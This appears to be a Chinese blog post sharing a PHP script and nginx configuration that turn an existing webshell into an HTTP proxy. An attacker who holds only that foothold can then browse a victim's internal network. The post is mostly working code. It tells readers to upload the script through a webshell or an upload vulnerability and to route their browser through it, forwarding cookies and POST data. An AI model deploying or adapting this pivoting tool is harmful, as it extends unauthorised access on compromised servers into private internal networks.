有时候要代理进内网,但是服务器没有外网端口,也没法执行命令反弹lcx什么的,也没有提权什么什么的,只有一个webshell,这个时候就比较蛋疼了。
鄙人不才,写了一个比较山寨的php+nginx反向代理,可以比较容易的实现这个功能。

架设起来也算是比较方便了。就把这个用webshell也好,上传漏洞也好,甩到对方服务器上。
然后配置一下本地的nginx,做一个反向代理+rewrite就OK。

先看代码
proxy.php

<?php 
if(!isset($_GET[\'url\'])){ 
  exit(0); 
} 
$ch = curl_init(); 
$url=$_GET[\'url\']; 
if(strstr($url,\'?\')){ 
  $url.=\'&\'; 
} 
else{ 
  $url.=\'?\'; 
} 
unset($_GET[\'url\']); 
foreach($_GET as $Key=>$Val){ 
  if(get_magic_quotes_gpc()){ 
    $Val=stripslashes($Val); 
  } 
  $url=$url.\'&\'.$Key.\'=\'.urlencode($Val); 
} 
$cookie=\'\'; 
foreach($_COOKIE as $Key=>$Val){ 
  if(get_magic_quotes_gpc()){ 
    $Val=stripslashes($Val); 
  } 
  $cookie=$cookie.$Key.\'=\'.urlencode($Val).\'; \'; 
} 
if($_SERVER[\'REQUEST_METHOD\']=="POST"){ 
  curl_setopt($ch, CURLOPT_POST, 1); 
  $post_data=\'\'; 
  foreach($_POST as $Key=>$Val){ 
    if(get_magic_quotes_gpc()){ 
      $Val=stripslashes($Val); 
    } 
    $post_data=$post_data.\'&\'.$Key.\'=\'.urlencode($Val); 
  } 
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); 
} 
curl_setopt($ch, CURLOPT_URL, $url); 
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER[\'HTTP_USER_AGENT\']); 
curl_setopt($ch, CURLOPT_COOKIE, $cookie); 
curl_setopt($ch, CURLOPT_HEADER, TRUE); 
curl_setopt($ch, CURLOPT_NOBODY, FALSE); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); 
if(isset($_SERVER[\'HTTP_REFERER\'])){ 
  curl_setopt($ch, CURLOPT_REFERER, $_SERVER[\'HTTP_REFERER\']); 
} 
$Response=curl_exec($ch); 
if(!$Response){ 
  curl_close($ch); 
  exit(0); 
} 
$HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE); 
$Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE)); 
$Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE)); 
$Headers=split("\r\n",$Header); 
foreach($Headers as $ThusHead){ 
  if($ThusHead == \'Transfer-Encoding: chunked\' || strstr($ThusHead,\'Content-Length\')!==false){ 
    continue; 
  } 
  header($ThusHead,FALSE); 
} 
echo $Body; 
curl_close($ch); 
?>

代码很简单,也有一些简单的小bug,不知各位看官看出来没有,我也懒得去修改了。
另外就是:
1. 这个代理只支持基本的GET/POST并不支持上传文件,有兴趣的可以自己看看,搞搞,搞完发出来,造福大家
2. 这个代理在转发post请求的时候,用的并不是www-url-encode,所以,也许会有的程序识别不正常

然后在本地的nginx里面新加一个配置

# proxy webshell
    server {
        listen          这里写监听端口;
        location ~ () {
                proxy_pass              http://webshell的IP/文件/存放/目录/proxy.php?url=http://$host/$request_uri;
                proxy_set_header        Host    "访问webshell用域名";
        }
    }

然后重新加载一下nginx配置,配置浏览器使用nginx监听的端口做为代理,就可以使了。
给个效果图。

2014031210384525915

版权声明:本文为hookjoy原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/hookjoy/p/4294649.html